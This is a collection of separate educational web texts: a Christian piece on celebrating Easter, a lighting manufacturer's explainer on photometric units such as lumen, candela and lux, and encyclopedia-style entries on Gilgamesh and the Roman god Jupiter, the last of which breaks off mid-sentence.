“Resurrection Sunday.” The rationale is that, the more we focus on Christ and His work on our behalf, the better. Paul says that without the resurrection of Christ our faith is futile (1 Corinthians 15:17). What more wonderful reason could we have to celebrate! Whether we call it “Easter” or “Resurrection Sunday,” what is important is the reason for our celebration, which is that Christ is alive, making it possible for us to have eternal life (Romans 6:4)! Should we celebrate Easter or allow our children to go on Easter egg hunts? This is a question both parents and church leaders struggle with. Ultimately, it comes down to a matter of conscience (Romans 14:5). There is nothing essentially evil about painting and hiding eggs and having children search for them. What is important is our focus. If our focus is on Christ, our children can be taught to understand that the eggs are just a fun game. Children should know the true meaning of the day, and parents and the church have a responsibility to teach the true meaning. In the end, participation in Easter egg hunts and other secular traditions must be left up to the discretion of parents.

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Religion

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Important photometric quantities and units In light measurement, a distinction is made between various photometric quantities by which the unit of light intensity can be evaluated. The following table provides an overview of the most important photometric quantities and units: Photometrische Größe | SI unit and calculation | Definition | Luminous flux | Lumen (lm) | The measure for the total amount of light emitted by a light source. | Light intensity | Candela (cd) = lm/sr | The ratio of lumen to radiation angle. Gives information about how much light is radiated in a certain direction. | Illuminance | Lux (lx) = lm/m² | The measure for the light that arrives at a receiver surface. | Luminance | cd/m² | The measure for the impression of brightness of a surface, perceived by the human eye. | Luminous efficacy | lm/W | The ratio of emitted luminous flux to required electrical power. | Light quantity | lm*s | The total luminous flux emitted by a light source over a certain period of time. | What is light and how is it created? Light consists of photons, also called light particles. They travel in waves and transmit energy impulses. Light is created when energy is converted. When visible light is emitted, this is also called luminescence. How bright and colourful the human eye can perceive a light depends on the wavelength of the radiation and the intensity with which the radiation hits the retina. Short wavelengths are termed ultraviolet and longer waves are termed infrared. What is the light flux (lumen)? The light flux is measured in lumens (abbreviation lm). The unit lumen is an internationally standardized unit of measurement for the light flux of a light source. It indicates how much light is emitted by a radiation source in all directions, so it measures the total light output. The lumens of a luminaire therefore provide information about its brightness. Identical luminaire types can be compared by their wattage. Different lamps, however, produce different amounts of light and therefore cannot be compared by wattage. To compare the high intensity of different lamps, luminous flux must be used. The value Lumen does not take the brightness sensation into account. The perception of brightness is additionally influenced by the beam angle and the design of a luminaire. Also, the color temperature of the illuminant and the condition of the environment play a role in the perception of brightness. Two examples of typical luminous flux values: - Incandescent lamp with 15 W electrical power: luminous flux Φ = 90 lm - Compact fluorescent lamp/energy-saving lamp: with 15 W electrical power: luminous flux Φ = 900 lm What is the luminous efficacy (η)? The luminous efficacy is a measure that indicates how efficient a light source is. It is the ratio of lumens to power or watts, so it is measured in lumen per watt (lm/W) in the International System of Units (SI). The higher the value, the more efficient a light source is. Exemplary lumen values: Fluorescent tube (48 Watt) | 3000 lm | Energy-saving lamp (23 Watt) | 1400 lm | Light bulb (100 Watt) | 1340 lm | Candle | 12 lm | Examples of the luminous efficacy of different lamps: Incadescent lamps | 6 - 19 lm/W | Halogen lamps | 13 - 23 lm/W | Fluorescent lamps | 52 - 85 lm/W | High-pressure mercury vapour lamps | 40 - 58 lm/W | High-pressure sodium vapor lamps | 70 - 140 lm/W | What is light intensity (candela definition)? The luminous intensity is a photometric value that describes the radiation of light emitted in a certain direction. Since the radiation behavior of an optical signaling device is not only determined by the light source but also by the design of the domes, the luminous intensity is best suited to characterize the signaling effect of optical signaling devices. Light intensity is one of the photometric quantities. It relates the light flux to the beam angle of a light source. The luminous intensity therefore indicates how concentrated the light is or what density the emitted light has. What is the metric unit used for measuring luminous intensity? Candela (cd) is the metric unit of luminous intensity. As an example, the luminous intensity of a candle is approximately one candela. How to measure light intensity? Luminous intensity is an important value for comparing different lamps. Lamps with the same luminous flux can have completely different luminous intensities due to their beam angle. The beam angle indicates the angle at which the light is emitted by the lamp. The luminous intensity or its candela value indicates how intensively the light is emitted. The more focused the light is emitted, the more intense it is. The diagram shows two lamps with the same luminous flux (lumen) but different beam angles. The luminous intensity of the lamp with the smaller beam angle is higher than that of the lamp with the wider beam angle. How to measure light intensity? To determine the luminous intensity of a lamp, you need the luminous flux and the beam angle or solid angle. The value of the luminous- or light intensity is given in candela. The units of luminous flux are lumens, for the solid angle it is steradians. Luminous intensity [cd] = luminous flux [lm] / solid angle [sr]. If the solid angle is not known, but only the beam angle, this can be determined with a conversion formula: If the calculation according to the above formulae is not possible for the lamp, a light measurement can be carried out with an integrating sphere and a spectrometer. This creates a luminous intensity distribution curve. From this, conclusions can be drawn about the luminous intensity. A standard candle, for example, emits a luminous intensity of 1 cd, i.e., it emits about 12 lumens (lm) in all directions. What is illuminance (lux)? Lux provides information about the illuminance. It is a measure of the brightness with which an area is illuminated. Lux indicates how much luminous flux (lumen) of a light source arrives per unit area of a receiver surface. The value lux is purely a receiver quantity. Illuminance is calculated with the following formula: Lux [lx] = luminous flux [lm] / area [m2]. The illuminance is 1 lux if a luminous flux of 1 lumen falls uniformly on an area of 1 m². Another formula for calculating illuminance at greater distances is as follows: Lux [lx] = luminous intensity [cd] / radius or distance squared The further away the area is from the light source, the lower the illuminance. The lux value determined can be used to determine whether certain areas are sufficiently well lit. For example, there are labor-law requirements for how brightly a work area should be illuminated for employees. What does a luxmeter measure? A luxmeter is a light inensity meter and measures the illuminance (lux). The value indicates how bright it is at the measuring point. The luxmeter consists of a photo sensor and a display. The photo sensor usually consists of photo diodes that detect the light. The measured lux value then appears on the display. Exemplary lux values Sunlight | 40.000 lx | Office workplace | 300-500 lx | Living space | 50-200 lx | Full moon night | 0,3 lx | Starry night | 0,1 lx | How are lumen, candela and lux related? The terms lumen, candela and lux occur very frequently in light measurement. They are all photometric quantities. The following diagram shows the relationship between the three terms. The unit lumen stands for the total light output of a luminaire emitted in all directions. However, since the light emitted by luminaires is not emitted evenly in all directions, the luminous intensity is given in candela. So candela is the unit of light intensity. This value indicates how much light is emitted in a particular direction. In contrast to these two emitted quantities, there is also the receiver quantity lux. The lux unit does not measure how much light is emitted, but how much of the emitted light reaches a certain surface. To assess the brightness of a luminaire or illuminant, it is essential to consider all three values. The units lumen and candela are quoted by most manufacturers. Manufacturers cannot quote the lux value because this value depends on the ambient conditions of the area of application. What is the solid angle? The solid angle is the three-dimensional size of the light cone. If a luminaire emits light, the angle of the emitted light is three-dimensional. The unit of the solid angle is the steradian (sr). The light intensity indicates the amount of light that a light source emits per solid angle. The solid angle is calculated by dividing the area (A) by the radius (r²). What is the density of luminance (cd/m²)? The density of luminance provides information about the impression of brightness of a luminaire. It is expressed in luminous intensity per area (cd/m²). The density of luminance describes how bright a surface appears to us. This factor is also influenced by other circumstances, such as the condition of the illuminated surface. What is colour temperature? The colour temperature of a lamp determines whether the light gives a warm or cool impression. The colour temperature is given in Kelvin and can be assessed on a scale. The lower the colour temperature, the warmer and darker the light appears. The higher the colour temperature, the cooler and brighter the light appears. The colour temperature influences the room atmosphere. For living rooms, a lower colour temperature is preferred, for laboratories or factories, light with a higher colour temperature. The scale below shows the colour temperature and its three ranges: Warm white, neutral white and daylight white. Colour temperature can be measured with a colourimeter. Besides colour temperature, the colour rendering index is also significant for the spatial atmosphere. What is the colour rendering index? The colour rendering index, abbreviated CRI (Colour Rendering Index) or RA (General Reference Index) tells us what quality the emitted light has. When an object is illuminated, it emits colours. The colour emitted is not only determined by the colour of the object itself, but also by the light source. The illuminant emits different wavelengths that are absorbed or reflected by the illuminated object. Those wavelengths that match the illuminated object are reflected, the rest is absorbed. The colour rendering index therefore depends on which wavelengths are emitted by the light source. Natural sunlight has an RA value of 100, which is also the highest RA value. The closer the RA value is to 100, the higher the quality of the lighting. What is the reflection factor? The reflection factor indicates the percentage of the luminous flux that hits a surface that is reflected. Depending on the nature of the illuminated surface, the light is reflected, absorbed or transmitted. If light is reflected, it is reflected back. Mirrors have a reflectance of 1. Light surfaces have a value close to 1, dark surfaces have a value below 0.1. In a room with dark walls, more light is needed than in a room with light walls to create sufficient illuminance on the working plane. Examples of the reflectance from different surfaces: - White ceiling or wall reflects up to 85 % of the light, - light wood panelling up to 50 %, - red bricks up to 25 % and a - black floor 0 %.

https://www.auersignal.com/en/technical-information/visual-signalling-equipment/luminous-intensity/

Education

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The best-known and most popular hero in the mythology of the ancient Near East, Gilgamesh was a Sumerian* king who wished to become immortal. Endowed with superhuman strength, courage, and power, he appeared in numerous legends and myths, including the Epic of Gilgamesh. This epic, written more than 3,000 years ago, seems to be the earliest work of literature. It is an adventure story that explores human nature, dealing with values and concerns that are still relevant today. Although most tales about Gilgamesh are obviously myths, they may be based on an actual historical figure. Ancient lists of Sumerian kings identify Gilgamesh as an early ruler of the city of Uruk around 2600 B . C . These same texts, however, also say that Gilgamesh was a demigod and reigned for 126 years. According to legendary accounts, Gilgamesh was the son of the goddess Ninsun and of either Lugalbanda, a king of Uruk, or of a high priest of the district of Kullab. Gilgamesh's greatest accomplishment as king was the construction of massive city walls around Uruk, an achievement mentioned in both myths and historical texts. Gilgamesh first appeared in five short poems written in the Sumerian language sometime between 2000 and 1500 B . C . The poems—"Gilgamesh and Huwawa," "Gilgamesh and the Bull of Heaven," "Gilgamesh and Agga of Kish," "Gilgamesh, Enkidu, and the Nether World," and "The Death of Gilgamesh"—relate various incidents and adventures in his life. However, the most famous and complete account of Gilgamesh's adventures is found in the Epic of Gilgamesh. Originally written between 1500 and 1000 B . C ., the epic weaves various tales immortal able to live forever epic long poem about legendary or historical heroes, written in a grand style demigod one who is part human and part god * See Names and Places at the end of this volume for further information. of Gilgamesh together into a single story. Its basic theme is the king's quest for fame, glory, and immortality through heroic deeds. One of the best-known parts of the epic is the tale of a great flood, which may have inspired the story of Noah and the flood in the Bible. The epic appears on 12 clay tablets found at the site of the ancient Assyrian city of Nineveh. The tablets came from the library of King Ashurbanipal, the last great king of Assyria, who reigned in the 600s B . C . The Epic of Gilgamesh begins with a brief account of Gilgamesh's ancestry, his youth, and his accomplishments as king. Although acknowledged to be a wise man and a courageous warrior, Gilgamesh is criticized as a tyrant who mistreats the people of Uruk. The nobles of the city complain bitterly of Gilgamesh's behavior. Their complaints attract the attention of the gods, who decide to do something about it. Enkidu. The gods create a rival for Gilgamesh—a man named Enkidu who is as strong as the king and who lives in the forest with the wild animals. Their plan is for Enkidu to fight Gilgamesh and teach him a lesson, leading the king to end his harsh behavior toward his people. When Gilgamesh hears about Enkidu, he sends a woman from the temple to civilize the wild man by showing him how to live among people. After learning the ways of city life, Enkidu goes to Uruk. There he meets the king at a marketplace and challenges him to a wrestling match. The king and the wild man struggle, and Gilgamesh is so impressed by Enkidu's strength, skill, and courage that he embraces his rival, and the two men become close friends. Because of this loving friendship, Gilgamesh softens his behavior toward the people of Uruk and becomes a just and honorable ruler. One day Gilgamesh and Enkidu decide to travel to a distant cedar forest to battle the fierce giant Humbaba (or Huwawa) who guards the forest. Knowing that he cannot live forever like the gods, Gilgamesh hopes that he will gain the next best thing—lasting fame—by slaying the monster. Together the two heroes kill Humbaba, and Enkidu cuts off the monster's head. The Insulted Goddess. Impressed with Gilgamesh's courage and daring, the goddess Ishtar offers to marry him. He refuses, however, and insults the goddess by reminding her of her cruelty toward previous lovers. Enraged by his refusal and insults, Ishtar persuades her father, the god Anu, to send the sacred Bull of Heaven to kill Gilgamesh. Anu sends the bull, but Gilgamesh and Enkidu kill the bull first. Enkidu further insults Ishtar by throwing a piece of the dead bull in her face. That night, Enkidu dreams that the gods have decided that he must die for his role in killing the Bull of Heaven. His death will also be the punishment for his dear friend Gilgamesh. Enkidu falls ill clay tablet baked clay slab inscribed with ancient writings tyrant ruler (or other person) who uses power harshly or cruelly and has other dreams of his death and descent to the underworld. He grows weaker and weaker and finally dies after 12 days of suffering. Gilgamesh is overwhelmed with grief. He also fears his own death and decides that he must find a way to gain immortality. Search for Utnapishtim. After Enkidu's funeral and burial, Gilgamesh sets out on a long and hazardous journey to seek a man named Utnapishtim. Utnapishtim had survived a great flood and was granted immortality by the gods. Gilgamesh travels through various strange lands and meets people who tell him to end his search and accept his fate as a mortal. Refusing to give up, Gilgamesh finally reaches the sea and persuades a boatman to take him across the waters to the home of Utnapishtim. Utnapishtim tells Gilgamesh the story of the Great Flood and of the boat that he constructed to save his family and various animals. He then offers the hero a challenge: if Gilgamesh can stay awake for seven days, he will be given the immortality he desperately desires. Gilgamesh accepts the challenge but soon falls asleep. When he awakes seven days later, he realizes that immortality is beyond his reach, and with sorrow, he accepts his fate. Utnapishtim tells him not to despair because the gods have granted him other great gifts, such as courage, skill in battle, and wisdom. In appreciation of Gilgamesh's courageous efforts to find him, Utnapishtim tells the hero where to find a plant that can restore youth. Gilgamesh finds the plant and continues on his journey. Along the way, while he bathes in a pool, a snake steals the plant. This explains the snake's ability to slough off its old skin and start afresh with a new one. Disappointed and tired, but also wiser and more at peace with himself, Gilgamesh returns to Uruk to await his death. The last part of the Epic of Gilgamesh, thought to be a later addition, tells how the spirit of Enkidu returns from the underworld and helps Gilgamesh find some lost objects he received from Ishtar. Enkidu also tells his close friend about the afterlife and describes the grim conditions of the underworld. See also Anu ; Enkidu ; Floods ; Ishtar ; Noah ; Utnapishtim . On his travels, Gilgamesh meets a goddess who tries to persuade him to end his quest for immortality with these words: Gilgamesh, whither rovest thou? The life thou pursuest thou shalt not find. When the gods created mankind, Death for mankind they set aside, Life in their own hands retaining. Thou, Gilgamesh, let full be thy belly Make thou merry by day and by night. Of each day make thou a feast of rejoicing, Day and night dance thou and play Let thy garments be sparkling and fresh, Thy head be washed, bathe thou in water. Pay heed to the little one that holds thy hand, Let thy spouse delight in thy bosom, For this is the task of mankind. underworld land of the dead Comment about this article, ask questions, or add new information about this topic:

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Jupiter (or Iuppiter) was the supreme god of the Romans and Latins, a god of the sky and weather as well as a champion of world order, the state, and the Roman Empire. In mythology and art, Jupiter was largely identical with his Greek counterpart Zeus, though the two gods had separate cults. Jupiter, like the Greek Zeus, was represented as a powerful, paternal god who wielded thunderbolts and a scepter. His worship was ubiquitous across the Roman world, with the center of his cult located in the massive temple of Jupiter Optimus Maximus on the Capitoline Hill in Rome. Who was Jupiter’s Greek equivalent? Jupiter, the king of the Roman pantheon, was commonly identified with Zeus, the leader of the Greek gods. Though most of Jupiter’s mythology and iconography was derived from that of the Greek Zeus, the two gods had separate religious cults associated with their respective worship. How was Jupiter worshipped by the Romans? The center of Jupiter’s cult was the temple of Jupiter Optimus Maximus on the Capitoline Hill in Rome. Here, Jupiter ruled as the dominant member of the “Capitoline Triad,” which also included his consort Juno and his daughter Minerva. Jupiter was commonly worshipped with offerings and festivals, both at his principal temple on the Capitoline as well as at his many other temples. Roman festivals of Jupiter were quite grand and often included lavish games and sacrifices. Jupiter Appears to Numa While Jupiter’s mythology was mostly adapted from that of Zeus, there were a few uniquely Roman legends involving Jupiter’s interactions with early figures of Roman history. In one such legend, Numa Pompilius, the second king of Rome, forced the woodland gods Faunus and Picus to help him summon Jupiter. During this meeting with the king of the gods, Numa agreed to teach his people how to properly worship Jupiter. In exchange, Jupiter showed Numa a spell to avoid being struck by lightning. Roles and Powers Jupiter was the supreme god of the Romans and Latins, familiar in at least some form to all Italic peoples. As the god of the sky, Jupiter commanded lightning, thunder, storms, and the weather at large. Like Zeus, his Greek counterpart, Jupiter wielded thunderbolts as weapons. He was also a god of rain and was thus worshipped in connection with agriculture as the god who caused crops to grow. But Jupiter was more than just a weather god. He was seen by the Romans as the god of order in the broadest sense, embodying and upholding the world order. For instance, as the god of divination (the process by which omens were deciphered by officials known as augurs), Jupiter guaranteed that the events predicted by observable omens came to pass. By extension, Jupiter was also the god of the political and social order and the highest authority of the state. No surprise, then, that Roman emperors likened themselves to Jupiter from the time of Augustus onwards. In addition, Jupiter presided over events such as the nundinae—days of popular assembly—and served as the god of borders and alliances. He maintained the Latin League, for example, an alliance of Latin villages and tribes organized for mutual defense. Among his many other domains, Jupiter was also the god of oaths and solemn statements. The most serious oaths—those witnessed by the priests of Jupiter Feretrius and involving a ceremonial staff and a flintstone called a silex—were referred to as “swearing by the Jupiter stone.” Similarly, Jupiter presided over the confarreatio, the most formal marriage ceremony in ancient Roman society. In this capacity, Jupiter was closely associated with the obscure deity Dius Fidius, also a god of oaths. Jupiter was a god of war as well, closely connected with the war god Mars from an early period. But rather than taking an active part in battles, Jupiter was thought to oversee and control them. As Jupiter Stator, for instance, Jupiter could “establish” troops and make them steadfast in battle. Roman commanders would dedicate the spolia opima—the spoils taken from an enemy commander killed in battle—to Jupiter Feretrius. More than any other deity, Jupiter held the fate of the Roman state in the balance. To appease him, Romans offered sacrifices and swore sacred oaths in his name. The faithfulness with which they made these offerings and kept their oaths is a testament to Jupiter’s status. The Romans came to believe that the success of their Mediterranean empire could be attributed to their unique devotion to Jupiter. Jupiter’s most notable attribute was lightning or the thunderbolt, which he wielded as the god of the sky and storms. Jupiter also held a scepter (sceptrum in Latin), a symbol of his sovereignty and power. In literature and art, he was frequently associated with the eagle. But Jupiter had many other symbols that featured in literature, art, and cult. Like other gods, he was often shown holding a patera, a shallow dish used to pour out libations. More specific to Jupiter was the silex, a flint-like stone sometimes used to symbolically strike victims sacrificed to Jupiter in a ritual context (notably at the sanctuary of Jupiter Feretrius). Jupiter was often shown riding a quadriga, or four-horse chariot. He was also associated with white animals: his chariot, for example, was drawn by white horses, and he received white bulls as sacrificial victims. The earliest known representations of Jupiter closely mirrored the god’s cult image at the sanctuary of Jupiter Optimus Maximus on the Capitoline Hill. In these images, Jupiter was shown standing; a cloak covered his lower body and was draped over his left shoulder, leaving his muscled torso bare; his mature face wore a thick beard; and he wielded a scepter in his left hand and a thunderbolt in his right. Though this vision of a standing Jupiter was much imitated and duplicated, many representations also depicted him seated, again bare-chested and holding a scepter and thunderbolt. Often, as in the temple of Jupiter Optimus Maximus, he would be placed between Juno (on his left) and Minerva (on his right). Sometimes, especially during the Imperial period (ca. 27 BCE–476 CE), Jupiter would be shown with Victoria, the goddess of victory, or holding a small image of her in his hand. Another important representation of Jupiter—this one crowning the roof of the temple of Jupiter Optimus Maximus—showed the god riding a four-horse chariot (the original statue, made of bronze, was eventually replaced by a bronze statue group). In antiquity, Jupiter was shown not only in statuary but also on reliefs, coins, and cameos. He was almost always represented as he was in the temple of Jupiter Optimus Maximus: mature, bearded, and well-built. However, we know of some representations of the god as a youth or even a boy; for example, it seems that Jupiter was depicted as a boy in his cult image at the famous temple of Fortuna at Praeneste. During the period of the Empire, Roman emperors sought to connect themselves with Jupiter. As a result, many of them (beginning with Augustus) assumed attributes of the great god in their own iconography. In Latin, the name “Jupiter” was usually rendered as Iūpiter or Iuppiter (the character “j” was not a part of ancient Latin alphabet, and was added in the Middle Ages). The form Iupiter is also attested in antiquity, though it is less common. Alternative forms of the name include the archaic Diovis and the Umbrian Iupater. In English-language sources, Jupiter is sometimes also known as “Jove,” a version of the name that is derived from Iovis, the genitive form of Iuppiter. The name “Jupiter” is a combination of two elements. The first is the Indo-European *dieu-/diu-, meaning “shining thing,” “sky,” or “day,” while the second is pater, the Indo-European word for “father.” Jupiter is thus the “Day Father” (sure enough, the god’s name was sometimes given in antiquity as Dispater or Diespater, which means precisely that). Significantly, the first element of Jupiter’s name is also etymologically identical with that of the Greek god Zeus (who was commonly known as “father Zeus,” or Zeus pater, to the ancient Greeks). Moreover, both Jupiter and Zeus share an etymology with the name of the Old Indo-Aryan god Dyaus. Jupiter Iuppiter Phonetic [JOO-pi-ter] /ˈdʒu pɪ tər/ Titles and Epithets Jupiter had numerous epithets and cult titles (also known as epicleses) in ancient Rome. These corresponded to his myriad qualities, attributes, and roles in Roman religion, ritual, and society. As the chief god of the state and of world order, Jupiter was known as Optimus Maximus, “best and greatest.” The cult and sanctuary of Jupiter Optimus Maximus was perhaps the most important religious center of the Roman world. As god of the sky, weather, and thunder, Jupiter could be invoked as Caelestis (“of the heavens”), Lucetius (“of the light”—a reference either to sunlight or, as accepted by most modern scholars, to lightning), or Fulgur, Fulminator, or Tonans, all epithets that refer to Jupiter in his capacity as the god of thunder and lightning. Another important title of Jupiter (also connected with his role as a weather god) was Elicius, probably meaning “he who is called forth (to ward off lightning),” though sometimes interpreted as “he who calls forth (lightning).” As a god of agriculture, Jupiter bore epithets such as Almus (“nourishing”), Frugifer (“fruitful”), and Farreus (“of the emmer cake,” possibly in reference to the special emmer cakes consumed during the sacralized marriage ceremony known as confarreatio). As a god of war, Jupiter’s epithets included Victor (“conqueror”), Invictus (“unconquered”), Stator (“establisher”), and Feretrius (“he who bears away,” or, alternatively, “he who strikes down”). Other titles of Jupiter reflected his association with specific places or with local deities assimilated to him. Examples include Jupiter Ammon (an amalgam of Jupiter and the Egyptian god Ammon), Jupiter Dolichenus (whose cult originated in Doliche, in the ancient region of Commagene), and Jupiter Indiges (“Indigenous Jupiter,” a native Latin god often identified with the hero Aeneas). These represent only a very small selection of Jupiter’s many titles and epithets. A more comprehensive list can be found in Carl Thurin’s entry on Jupiter in the famous Realencyclopädie der classischen Altertumswissenschaft (1918). Like the rest of Jupiter’s mythology, references to Jupiter’s family tended to be derived from the mythology of the Greek Zeus, with Greek gods translated into their Roman counterparts. Thus, Cronus and Rhea, the parents of Zeus, were translated into Saturn and Ops as the parents of Jupiter. The traditional divine siblings of the Greek Zeus were likewise translated into their Roman equivalents. The Greek sea god Poseidon became the Roman sea god Neptune. The Greek Underworld god Hades (or Pluto) became the grim Roman Dis or Dis Pater (though Roman texts often simply referred to this god by the Greek name Pluto). The Greek agriculture goddess Demeter became the Roman Ceres. The Greek Hestia became the Roman Vesta. And the Greek Hera—the maternal and domestic goddess who ruled as Zeus’ queen—became the Roman Juno, who was correspondingly named as Jupiter’s queen. Roman literary sources also followed Greek models when naming Jupiter’s offspring. Just as the Greek war god Ares was the son of Zeus and Hera, so too was the Roman war god Mars the son of Jupiter and Juno. Juventas, “Youth” personified, was also a child of Jupiter and Juno, just as her Greek counterpart Hebe was a child of Zeus and Hera. The Roman fire god Vulcan, the equivalent of the Greek Hephaestus, was often listed as the son of Jupiter and Juno (though he was sometimes said to be the son of Juno alone, just as Hephaestus was sometimes represented as the son of Hera alone). The children born to Zeus from his many affairs and earlier marriages also found their way into Jupiter’s genealogy. As usual, important Greek gods were translated into their Roman counterparts. Thus, the Greek Athena, daughter of Zeus and the Oceanid Metis, became the Roman Minerva, goddess of war and crafts (and, together with Juno, one of Jupiter’s companions in the Capitoline Triad). Likewise, the Greek Hermes, son of Zeus and the Atlantid Maia, became the Roman messenger god Mercury. The Greek Apollo and Artemis, twin children of Zeus and Leto, became the Roman Apollo and Diana, gods of prophecy, healing, and the natural world (Apollo was unique in retaining his Greek name within the Roman pantheon). Their mother, in Roman sources, was usually called Latona rather than Leto. The Greek Dionysus (or Bacchus), son of Zeus and the mortal Semele, became the obscure Roman god Liber, a deity associated with wine, fertility, and freedom (the name “Liber” means “free” in Latin). The Greek strongman Heracles, son of Zeus and the mortal Alcmene, became the Roman Hercules. And the Greek Persephone, daughter of Zeus and Demeter, became the Roman Proserpina, a goddess associated with the springtime as well as the Underworld realm of her husband Dis (Hades in Greek). Though the Romans adopted the mythology of the Greeks early on, their own native mythology—largely forgotten even in the time of poets such as Virgil and Ovid (our main sources for stories of the Roman gods)—may have been very different. For example, there is evidence that in early Latin traditions, Jupiter and Juno were the children not of Saturn and Ops but of Fortuna, the goddess of fortune or luck, who was shown nursing the two gods in a cult image in her famous temple at Praenesta (though an alternative tradition seemingly made Jupiter the father of Fortuna, rather than her son). As a religious figure, Jupiter followed the pattern established by other Indo-European sky gods. He can thus be compared to the Vedic Dyaus, the Hurro-Hittite Teshub, the Etruscan Tinia, and, of course, the Greek Zeus. In various guises and under various names, Jupiter was worshipped by virtually all Italic peoples, though the Roman Jupiter is best known today. Over time, Jupiter became more strongly associated with storms, thunder, lightning, and sovereignty, but he always remained, in essence, the embodiment of the boundless expanse of the heavens. Indeed, Roman poets continued to use Jupiter’s name as a synonym for the heavens well into the historical period. If Jupiter ever had a truly native Roman or Italian mythology, that mythology is largely lost to us. Most of what is “Roman” about Roman myth centers on quasi-historical figures such as Romulus and Remus, who had relatively little to do with the gods. From the earliest stages of Roman history, the genealogy, attributes, and stories of Jupiter were heavily influenced by the mythology of the Greek Zeus, until the two gods became all but indistinguishable (even as their cultic identities remained distinct). Like Zeus, Jupiter rose to power by succeeding his father Saturn, who had reigned supreme as god of the sky and universe before him. Saturn corresponds to the Greek Titan Cronus, who assumed power by overthrowing his own father Uranus (meaning “sky” in Greek, and thus known in Roman sources as Caelus, from the Latin word for “sky”). This Cronus married his sister Rhea (Ops to the Romans). But upon hearing a prophecy that he was fated to be overthrown by one of his children, Cronus decided to devour his offspring in order to protect his power. Cronus’ youngest son, Zeus, was hidden by Rhea to shield him from this fate. Brought up in secret, Zeus eventually freed his siblings and, with their help, overthrew his father, taking his place as ruler of the universe. We find elements of this so-called “Succession Myth” in Roman sources, too, though with some key differences. Jupiter’s Italian predecessor, Saturn, is not quite the tyrant that we find in the Greek Cronus. In fact, the time of Saturn’s rule is remembered in Roman literature as a pleasant Golden Age (an idea that sometimes creeps into Greek representations of Cronus as well). Nor did Jupiter’s accession end with Saturn being thrown into Tartarus, like Cronus was. Instead, many Roman sources tell of how Saturn escaped to Italy, where he was taken in by the two-faced god Janus. Saturn then ruled for a time as king of Italy, presiding over a peaceful Golden Age. He was still worshipped in historical times and had a very impressive temple at the foot of the Capitoline Hill in Rome. The Power of Jupiter Jupiter’s reign over the universe was marked by order—but also, at times, by violence. Greek myths told of how Zeus, having overcome his father Cronus and the other Titans, had to fight further battles in order to cement his authority. Zeus thus fought and defeated the Giants and Typhoeus (monstrous offspring of the earth goddess Gaia), as well as other challengers, including the brash Aloads. With these threats to his power squashed, Zeus firmly established himself as ruler of the universe, distributing authority and honors among his siblings and some of his children. These gods came to be known as the Olympians (because they lived on Mount Olympus in northern Greece). Some of these myths can be found in Roman sources as well, though they do not command the same weight as they did in the Greek world. Roman authors often confused or conflated the Olympians’ wars with the Titans, the Giants, and the Aloads, suggesting a certain carelessness or lack of interest regarding the gods’ rise to power. At the end of the day, Roman mythology was always centered on Rome—meaning the Romans’ interest in the gods only extended as far as the gods’ interest in the Romans. We therefore find that Jupiter’s most important mythical roles tended to emphasize his responsibilities as patron god of the Roman state. The Loves of Jupiter Jupiter, like his counterpart Zeus, was known to be a promiscuous god. Though he was married to his sister Juno, he had numerous affairs with both goddesses and mortal women. Many of the stories of these indiscretions were imported from Zeus’ mythology, but others are unique to Roman sources. In one story, Jupiter loved the beautiful Juturna, an Italian princess of the Rutuli and the sister of Turnus, the warrior who fought Aeneas when he came to Italy. After seducing (or raping) Juturna, Jupiter transformed her into a water nymph. But it so happened that the nymph Lara (also called Larunda) learned of the affair. Notorious for her talkativeness and for her inability to keep secrets, Lara let slip to Juno that her husband had slept with Juturna. Furious, Jupiter tore out Lara’s tongue and ordered his son Mercury to take her to the Underworld. During the journey, Mercury raped Lara, who bore him two children. These children came to be known as the Lares—the household gods of the Romans. Another legend made Jupiter the father of Scipio Africanus, the great Roman general and statesman best known for defeating Hannibal and Carthage in the Second Punic War (218–201 BCE). Jupiter transformed himself into a snake and slept with Pomponia, Scipio’s mother, in order to beget the man who would become the savior of Rome. Jupiter and Rome Aeneas and the Founding of Rome Jupiter is a key figure in myths and legends about the founding of Rome, beginning with the story of Aeneas, the Trojan hero at the heart of Virgil’s Aeneid. Aeneas himself was a figure from the earliest strata of Greek mythology, one of the defenders of Troy during the decade-long Trojan War. When at last Aeneas’ city was conquered and sacked by the Greeks, Aeneas fled the city with a band of refugees and headed west to find a new home. It seems that the idea of Aeneas as the ancestor of the Romans began circulating at a fairly early date, though it was not until Virgil’s Aeneid—composed at the end of the first century BCE—that the idea became a central part of the Roman national identity. In the Aeneid, the gods instruct Aeneas to sail to Italy after he escapes the sack of Troy. The hero is guided by his mother, the goddess Venus (Aphrodite to the Greeks), but also by Jupiter himself. In one famous passage from Book 1 of the Aeneid, Jupiter describes the great empire destined to be built by the Romans (Aeneas’ descendants), to whom the god has ordained “no bounds of empire.” Throughout the Aeneid, Jupiter is careful to keep Aeneas (and thus the destiny of the Romans) on track. Virgil writes, for example, that when Aeneas was shipwrecked on the shores of Carthage, he began an affair with the Carthaginian queen Dido; he would have stayed longer had not Jupiter sent Mercury to remind the hero that his destiny lay in Italy. At times, Jupiter would oppose his own wife, Juno, who had long hated the Trojans and who was therefore intent on destroying Aeneas. It was Juno, for instance, who caused Aeneas to be shipwrecked in Carthage in the first place. Later, when Aeneas finally reached Italy, Juno stirred up a war between him and the local Latins, led by the Italian hero Turnus. Yet Jupiter held Juno in check, reminding her (and the other gods) that nothing could stop Aeneas and his descendants, the Romans, from achieving their destined mastery of the world. The war that Juno sparked finally ended when Aeneas defeated and killed Turnus in single combat. This is where the Aeneid ends (rather abruptly). But we know from other sources that peace between the Trojans and Latins was established, just as Jupiter had predicted. Aeneas founded a new city in Latium, which he named Lavinium in honor of his wife Lavinia. Soon after, Aeneas’ son and successor Ascanius founded another nearby city, Alba Longa. Many generations later, the twins Romulus and Remus—the founders of Rome—would eventually be born in Alba Longa. According to a popular tradition, Aeneas himself died soon after reaching Italy. In a battle at the River Numicius, not far from Lavinium, he fell in the river and drowned. The waters washed away Aeneas’ mortality and he became a god, known as Indiges or even Jupiter Indiges, the “native” Jupiter of Latium. The Kings of Rome Numa and the Cult of Jupiter Elicius According to mythologized accounts of the founding of Rome, Numa Pompilius, the second king of Rome, taught the Romans how to properly worship Jupiter and the other gods. It was said that Numa was facing hardship and thus coerced the woodland deities Picus and Faunus into summoning Jupiter to the Aventine Hill. There, Numa consulted with the mighty god, who issued demands regarding the offering of hostiae (sacrifices). In exchange for securing the worship of the Roman people, Jupiter taught Numa how to avoid lightning bolts, as per Numa’s demands (the ritual supposedly involved onions, hair, and sprats). This was the basis for the cult of Jupiter Elicius—that is, “Jupiter who is called forth (by ritual means). Jupiter’s lightning lesson likely served as a metaphor symbolizing his broader offer of protection and support for 